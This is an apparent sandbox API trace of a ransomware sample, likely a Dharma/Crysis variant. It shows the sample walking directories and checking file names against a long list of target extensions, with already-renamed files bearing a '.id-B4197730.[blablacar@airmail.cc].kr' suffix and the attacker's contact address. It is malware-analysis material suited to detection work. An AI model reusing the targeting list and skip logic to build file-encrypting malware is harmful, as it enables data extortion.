lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".nef") returned 4 [0079.635] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".nrw") returned 4 [0079.635] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".obj") returned 4 [0079.635] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".odb") returned 4 [0079.635] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".odc") returned 4 [0079.635] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".odm") returned 4 [0079.635] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".odp") returned 4 [0079.635] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".ods") returned 4 [0079.635] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".oft") returned 4 [0079.635] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".one") returned 4 [0079.635] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".onepkg") returned 7 [0079.635] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0079.635] lstrlenW (lpString=".onetoc2") returned 8 [0079.635] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0079.635] lstrlenW (lpString=".opt") returned 4 [0079.635] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0079.635] lstrlenW (lpString=".oqy") returned 4 [0079.635] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".orf") returned 4 [0079.636] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".p12") returned 4 [0079.636] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".p7b") returned 4 [0079.636] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".p7c") returned 4 [0079.636] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pam") returned 4 [0079.636] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pbm") returned 4 [0079.636] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pct") returned 4 [0079.636] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pcx") returned 4 [0079.636] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pdd") returned 4 [0079.636] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pdf") returned 4 [0079.636] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pdp") returned 4 [0079.636] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pef") returned 4 [0079.636] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pem") returned 4 [0079.636] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pff") returned 4 [0079.636] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pfm") returned 4 [0079.636] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pfx") returned 4 [0079.636] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 [0079.636] lstrlenW (lpString=".pgm") returned 4 [0079.636] lstrcmpiW (lpString1=".pgm", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".php") returned 4 [0079.637] lstrcmpiW (lpString1=".php", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".php3") returned 5 [0079.637] lstrcmpiW (lpString1=".php3", lpString2="c].kr") returned -1 [0079.637] lstrlenW (lpString=".php4") returned 5 [0079.637] lstrcmpiW (lpString1=".php4", lpString2="c].kr") returned -1 [0079.637] lstrlenW (lpString=".php5") returned 5 [0079.637] lstrcmpiW (lpString1=".php5", lpString2="c].kr") returned -1 [0079.637] lstrlenW (lpString=".phtml") returned 6 [0079.637] lstrcmpiW (lpString1=".phtml", lpString2="cc].kr") returned -1 [0079.637] lstrlenW (lpString=".pict") returned 5 [0079.637] lstrcmpiW (lpString1=".pict", lpString2="c].kr") returned -1 [0079.637] lstrlenW (lpString=".pl") returned 3 [0079.637] lstrcmpiW (lpString1=".pl", lpString2=".kr") returned 1 [0079.637] lstrlenW (lpString=".pls") returned 4 [0079.637] lstrcmpiW (lpString1=".pls", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".pm") returned 3 [0079.637] lstrcmpiW (lpString1=".pm", lpString2=".kr") returned 1 [0079.637] lstrlenW (lpString=".png") returned 4 [0079.637] lstrcmpiW (lpString1=".png", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".pnm") returned 4 [0079.637] lstrcmpiW (lpString1=".pnm", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".pot") returned 4 [0079.637] lstrcmpiW (lpString1=".pot", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".potm") returned 5 [0079.637] lstrcmpiW (lpString1=".potm", lpString2="c].kr") returned -1 [0079.637] lstrlenW (lpString=".potx") returned 5 [0079.637] lstrcmpiW (lpString1=".potx", lpString2="c].kr") returned -1 [0079.637] lstrlenW (lpString=".ppa") returned 4 [0079.637] lstrcmpiW (lpString1=".ppa", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".ppam") returned 5 [0079.637] lstrcmpiW (lpString1=".ppam", lpString2="c].kr") returned -1 [0079.637] lstrlenW (lpString=".ppm") returned 4 [0079.637] lstrcmpiW (lpString1=".ppm", lpString2="].kr") returned -1 [0079.637] lstrlenW (lpString=".pps") returned 4 [0079.638] lstrcmpiW (lpString1=".pps", lpString2="].kr") returned -1 [0079.638] lstrlenW (lpString=".ppsm") returned 5 [0079.638] lstrcmpiW (lpString1=".ppsm", lpString2="c].kr") returned -1 [0079.638] lstrlenW (lpString=".ppt") returned 4 [0079.638] lstrcmpiW (lpString1=".ppt", lpString2="].kr") returned -1 [0079.638] lstrlenW (lpString=".pptm") returned 5 [0079.638] lstrcmpiW (lpString1=".pptm", lpString2="c].kr") returned -1 [0079.638] lstrlenW (lpString=".pptx") returned 5 [0079.638] lstrcmpiW (lpString1=".pptx", lpString2="c].kr") returned -1 [0079.638] lstrlenW (lpString=".prn") returned 4 [0079.638] lstrcmpiW (lpString1=".prn", lpString2="].kr") returned -1 [0079.638] lstrlenW (lpString=".ps") returned 3 [0079.638] lstrcmpiW (lpString1=".ps", lpString2=".kr") returned 1 [0079.638] lstrlenW (lpString=".psb") returned 4 [0079.638] lstrcmpiW (lpString1=".psb", lpString2="].kr") returned -1 [0079.638] lstrlenW (lpString=".psd") returned 4 [0079.638] lstrcmpiW (lpString1=".psd", lpString2="].kr") returned -1 [0079.638] lstrlenW (lpString=".pst") returned 4 [0079.638] lstrcmpiW (lpString1=".pst", lpString2="].kr") returned -1 [0079.638] lstrlenW (lpString=".ptx") returned 4 [0079.638] lstrcmpiW (lpString1=".ptx", lpString2="].kr") returned -1 [0079.639] lstrlenW (lpString=".pub") returned 4 [0079.639] lstrcmpiW (lpString1=".pub", lpString2="].kr") returned -1 [0079.639] lstrlenW (lpString=".pwm") returned 4 [0079.639] lstrcmpiW (lpString1=".pwm", lpString2="].kr") returned -1 [0079.639] FindNextFileW (in: hFindFile=0x4260b90, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc285767e, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc285767e, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc28a386a, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="OOBE_2~1.KR")) returned 1 [0079.639] FindNextFileW (in: hFindFile=0x4260b90, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc287267d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc287267d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc290f51f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 1 [0079.639] FindNextFileW (in: hFindFile=0x4260b90, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc287267d, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc287267d, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc290f51f, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="PARTNE~1.KR")) returned 0 [0079.639] FindClose (in: hFindFile=0x4260b90 | out: hFindFile=0x4260b90) returned 1 [0079.639] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0079.639] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0079.639] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0079.639] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42600d0 [0079.639] FindNextFileW (in: hFindFile=0x42600d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.640] FindNextFileW (in: hFindFile=0x42600d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1 [0079.640] FindNextFileW (in: hFindFile=0x42600d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2dcf9c0, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc2dcf9c0, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc2dcf9c0, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="GETCUR~1.KR")) returned 1 [0079.640] lstrlenW (lpString="GetCurrentRollback.ini.id-B4197730.[blablacar@airmail.cc].kr") returned 60 [0079.640] lstrlenW (lpString=".1cd") returned 4 [0079.640] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0079.640] lstrlenW (lpString=".3ds") returned 4 [0079.640] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0079.640] lstrlenW (lpString=".3fr") returned 4 [0079.640] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0079.640] lstrlenW (lpString=".3g2") returned 4 [0079.640] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0079.640] lstrlenW (lpString=".3gp") returned 4 [0079.640] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0079.640] lstrlenW (lpString=".7z") returned 3 [0079.640] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0079.640] lstrlenW (lpString=".accda") returned 6 [0079.640] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0079.640] lstrlenW (lpString=".accdb") returned 6 [0079.640] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0079.640] lstrlenW (lpString=".accdc") returned 6 [0079.640] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0079.640] lstrlenW (lpString=".accde") returned 6 [0079.640] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0079.640] lstrlenW (lpString=".accdt") returned 6 [0079.640] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0079.640] lstrlenW (lpString=".accdw") returned 6 [0079.641] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0079.641] lstrlenW (lpString=".adb") returned 4 [0079.641] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".adp") returned 4 [0079.641] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".ai") returned 3 [0079.641] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0079.641] lstrlenW (lpString=".ai3") returned 4 [0079.641] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".ai4") returned 4 [0079.641] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".ai5") returned 4 [0079.641] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".ai6") returned 4 [0079.641] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".ai7") returned 4 [0079.641] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".ai8") returned 4 [0079.641] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".anim") returned 5 [0079.641] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0079.641] lstrlenW (lpString=".arw") returned 4 [0079.641] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".as") returned 3 [0079.641] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0079.641] lstrlenW (lpString=".asa") returned 4 [0079.641] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".asc") returned 4 [0079.641] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".ascx") returned 5 [0079.641] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0079.641] lstrlenW (lpString=".asm") returned 4 [0079.641] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0079.641] lstrlenW (lpString=".asmx") returned 5 [0079.642] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0079.642] lstrlenW (lpString=".asp") returned 4 [0079.642] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".aspx") returned 5 [0079.642] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0079.642] lstrlenW (lpString=".asr") returned 4 [0079.642] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".asx") returned 4 [0079.642] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".avi") returned 4 [0079.642] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".avs") returned 4 [0079.642] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".backup") returned 7 [0079.642] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0079.642] lstrlenW (lpString=".bak") returned 4 [0079.642] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".bay") returned 4 [0079.642] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".bd") returned 3 [0079.642] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0079.642] lstrlenW (lpString=".bin") returned 4 [0079.642] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".bmp") returned 4 [0079.642] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".bz2") returned 4 [0079.642] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".c") returned 2 [0079.642] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0079.642] lstrlenW (lpString=".cdr") returned 4 [0079.642] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".cer") returned 4 [0079.642] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0079.642] lstrlenW (lpString=".cf") returned 3 [0079.643] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0079.643] lstrlenW (lpString=".cfc") returned 4 [0079.643] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".cfm") returned 4 [0079.643] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".cfml") returned 5 [0079.643] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0079.643] lstrlenW (lpString=".cfu") returned 4 [0079.643] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".chm") returned 4 [0079.643] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".cin") returned 4 [0079.643] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".class") returned 6 [0079.643] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0079.643] lstrlenW (lpString=".clx") returned 4 [0079.643] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".config") returned 7 [0079.643] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0079.643] lstrlenW (lpString=".cpp") returned 4 [0079.643] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".cr2") returned 4 [0079.643] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".crt") returned 4 [0079.643] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".crw") returned 4 [0079.643] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".cs") returned 3 [0079.643] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0079.643] lstrlenW (lpString=".css") returned 4 [0079.643] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".csv") returned 4 [0079.643] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0079.643] lstrlenW (lpString=".cub") returned 4 [0079.644] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dae") returned 4 [0079.644] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dat") returned 4 [0079.644] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".db") returned 3 [0079.644] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0079.644] lstrlenW (lpString=".dbf") returned 4 [0079.644] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dbx") returned 4 [0079.644] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dc3") returned 4 [0079.644] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dcm") returned 4 [0079.644] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dcr") returned 4 [0079.644] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".der") returned 4 [0079.644] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dib") returned 4 [0079.644] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dic") returned 4 [0079.644] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".dif") returned 4 [0079.644] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".divx") returned 5 [0079.644] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0079.644] lstrlenW (lpString=".djvu") returned 5 [0079.644] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0079.644] lstrlenW (lpString=".dng") returned 4 [0079.644] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".doc") returned 4 [0079.644] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0079.644] lstrlenW (lpString=".docm") returned 5 [0079.644] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0079.645] lstrlenW (lpString=".docx") returned 5 [0079.645] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0079.645] lstrlenW (lpString=".dot") returned 4 [0079.645] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".dotm") returned 5 [0079.645] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0079.645] lstrlenW (lpString=".dotx") returned 5 [0079.645] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0079.645] lstrlenW (lpString=".dpx") returned 4 [0079.645] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".dqy") returned 4 [0079.645] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".dsn") returned 4 [0079.645] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".dt") returned 3 [0079.645] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0079.645] lstrlenW (lpString=".dtd") returned 4 [0079.645] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".dwg") returned 4 [0079.645] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".dwt") returned 4 [0079.645] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".dx") returned 3 [0079.645] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0079.645] lstrlenW (lpString=".dxf") returned 4 [0079.645] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".edml") returned 5 [0079.645] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0079.645] lstrlenW (lpString=".efd") returned 4 [0079.645] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".elf") returned 4 [0079.645] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0079.645] lstrlenW (lpString=".emf") returned 4 [0079.646] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".emz") returned 4 [0079.646] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".epf") returned 4 [0079.646] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".eps") returned 4 [0079.646] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".epsf") returned 5 [0079.646] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0079.646] lstrlenW (lpString=".epsp") returned 5 [0079.646] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0079.646] lstrlenW (lpString=".erf") returned 4 [0079.646] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".exr") returned 4 [0079.646] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".f4v") returned 4 [0079.646] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".fido") returned 5 [0079.646] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0079.646] lstrlenW (lpString=".flm") returned 4 [0079.646] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".flv") returned 4 [0079.646] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".frm") returned 4 [0079.646] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".fxg") returned 4 [0079.646] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".geo") returned 4 [0079.646] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".gif") returned 4 [0079.646] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0079.646] lstrlenW (lpString=".grs") returned 4 [0079.646] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".gz") returned 3 [0079.647] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0079.647] lstrlenW (lpString=".h") returned 2 [0079.647] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0079.647] lstrlenW (lpString=".hdr") returned 4 [0079.647] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".hpp") returned 4 [0079.647] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".hta") returned 4 [0079.647] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".htc") returned 4 [0079.647] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".htm") returned 4 [0079.647] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".html") returned 5 [0079.647] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0079.647] lstrlenW (lpString=".icb") returned 4 [0079.647] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".ics") returned 4 [0079.647] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0079.647] lstrlenW (lpString=".iff") returned 4 [0079.647] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0079.647] 